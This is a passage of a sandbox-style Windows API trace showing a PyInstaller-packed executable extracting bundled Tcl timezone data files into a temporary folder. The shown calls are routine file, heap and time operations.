RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.672] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.672] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.672] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.672] CloseHandle (hObject=0x10c) returned 1 [0040.672] GetLastError () returned 0x0 [0040.672] SetLastError (dwErrCode=0x0) [0040.672] GetLastError () returned 0x0 [0040.672] SetLastError (dwErrCode=0x0) [0040.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.672] GetFileType (hFile=0x10c) returned 0x1 [0040.672] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.672] CloseHandle (hObject=0x10c) returned 1 [0040.673] GetLastError () returned 0x0 [0040.673] SetLastError (dwErrCode=0x0) [0040.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.673] GetFileType (hFile=0x10c) returned 0x1 [0040.673] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.673] CloseHandle (hObject=0x10c) returned 1 [0040.673] GetLastError () returned 0x0 [0040.673] SetLastError (dwErrCode=0x0) [0040.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.673] GetFileType (hFile=0x10c) returned 0x1 [0040.673] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.674] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.674] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.674] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.674] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.674] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.674] CloseHandle (hObject=0x10c) returned 1 [0040.674] GetLastError () returned 0x0 [0040.674] SetLastError (dwErrCode=0x0) [0040.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Samarkand") returned 71 [0040.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Samarkand" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\samarkand"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.674] GetLastError () returned 0x2 [0040.674] SetLastError (dwErrCode=0x2) [0040.674] GetLastError () returned 0x2 [0040.674] SetLastError (dwErrCode=0x2) [0040.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Samarkand", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Samarkand", lpFilePart=0x0) returned 0x46 [0040.674] GetLastError () returned 0x2 [0040.674] SetLastError (dwErrCode=0x2) [0040.674] GetLastError () returned 0x2 [0040.674] SetLastError (dwErrCode=0x2) [0040.674] GetLastError () returned 0x2 [0040.674] SetLastError (dwErrCode=0x2) [0040.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Samarkand") returned 71 [0040.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Samarkand" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\samarkand"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.675] GetFileType (hFile=0x10c) returned 0x1 [0040.675] htonl (hostlong=0x90030000) returned 0x390 [0040.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.675] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x390, lpOverlapped=0x0) returned 1 [0040.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.676] CloseHandle (hObject=0x10c) returned 1 [0040.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550748 | out: hHeap=0x530000) returned 1 [0040.676] htonl (hostlong=0x30000000) returned 0x30 [0040.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.676] GetFileType (hFile=0x10c) returned 0x1 [0040.676] htonl (hostlong=0xd195b00) returned 0x5b190d [0040.676] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc90d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.676] htonl (hostlong=0xe5000000) returned 0xe5 [0040.676] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe5) returned 0x550600 [0040.676] htonl (hostlong=0xe5000000) returned 0xe5 [0040.676] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.676] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.676] htonl (hostlong=0xe8010000) returned 0x1e8 [0040.676] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e8) returned 0x5506f0 [0040.676] htonl (hostlong=0xe5000000) returned 0xe5 [0040.676] htonl (hostlong=0xe8010000) returned 0x1e8 [0040.676] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.677] CloseHandle (hObject=0x10c) returned 1 [0040.677] GetLastError () returned 0x0 [0040.677] SetLastError (dwErrCode=0x0) [0040.677] GetLastError () returned 0x0 [0040.677] SetLastError (dwErrCode=0x0) [0040.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.677] GetFileType (hFile=0x10c) returned 0x1 [0040.677] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.677] CloseHandle (hObject=0x10c) returned 1 [0040.677] GetLastError () returned 0x0 [0040.677] SetLastError (dwErrCode=0x0) [0040.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.677] GetFileType (hFile=0x10c) returned 0x1 [0040.677] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.678] CloseHandle (hObject=0x10c) returned 1 [0040.678] GetLastError () returned 0x0 [0040.678] SetLastError (dwErrCode=0x0) [0040.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.678] GetFileType (hFile=0x10c) returned 0x1 [0040.678] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.678] CloseHandle (hObject=0x10c) returned 1 [0040.678] GetLastError () returned 0x0 [0040.679] SetLastError (dwErrCode=0x0) [0040.679] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Seoul") returned 67 [0040.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Seoul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\seoul"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.679] GetLastError () returned 0x2 [0040.679] SetLastError (dwErrCode=0x2) [0040.679] GetLastError () returned 0x2 [0040.679] SetLastError (dwErrCode=0x2) [0040.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Seoul", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Seoul", lpFilePart=0x0) returned 0x42 [0040.679] GetLastError () returned 0x2 [0040.679] SetLastError (dwErrCode=0x2) [0040.679] GetLastError () returned 0x2 [0040.679] SetLastError (dwErrCode=0x2) [0040.679] GetLastError () returned 0x2 [0040.679] SetLastError (dwErrCode=0x2) [0040.679] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Seoul") returned 67 [0040.679] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Seoul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\seoul"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.680] GetFileType (hFile=0x10c) returned 0x1 [0040.680] htonl (hostlong=0xe8010000) returned 0x1e8 [0040.680] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.680] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1e8, lpOverlapped=0x0) returned 1 [0040.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.681] CloseHandle (hObject=0x10c) returned 1 [0040.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506f0 | out: hHeap=0x530000) returned 1 [0040.681] htonl (hostlong=0x30000000) returned 0x30 [0040.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.681] GetFileType (hFile=0x10c) returned 0x1 [0040.681] htonl (hostlong=0xf2195b00) returned 0x5b19f2 [0040.681] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc9f2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.681] htonl (hostlong=0xf4000000) returned 0xf4 [0040.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf4) returned 0x550600 [0040.681] htonl (hostlong=0xf4000000) returned 0xf4 [0040.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.681] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.681] htonl (hostlong=0x72020000) returned 0x272 [0040.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x272) returned 0x550700 [0040.681] htonl (hostlong=0xf4000000) returned 0xf4 [0040.682] htonl (hostlong=0x72020000) returned 0x272 [0040.682] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.682] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.682] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.682] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.682] CloseHandle (hObject=0x10c) returned 1 [0040.682] GetLastError () returned 0x0 [0040.682] SetLastError (dwErrCode=0x0) [0040.682] GetLastError () returned 0x0 [0040.682] SetLastError (dwErrCode=0x0) [0040.682] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.682] GetFileType (hFile=0x10c) returned 0x1 [0040.682] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") 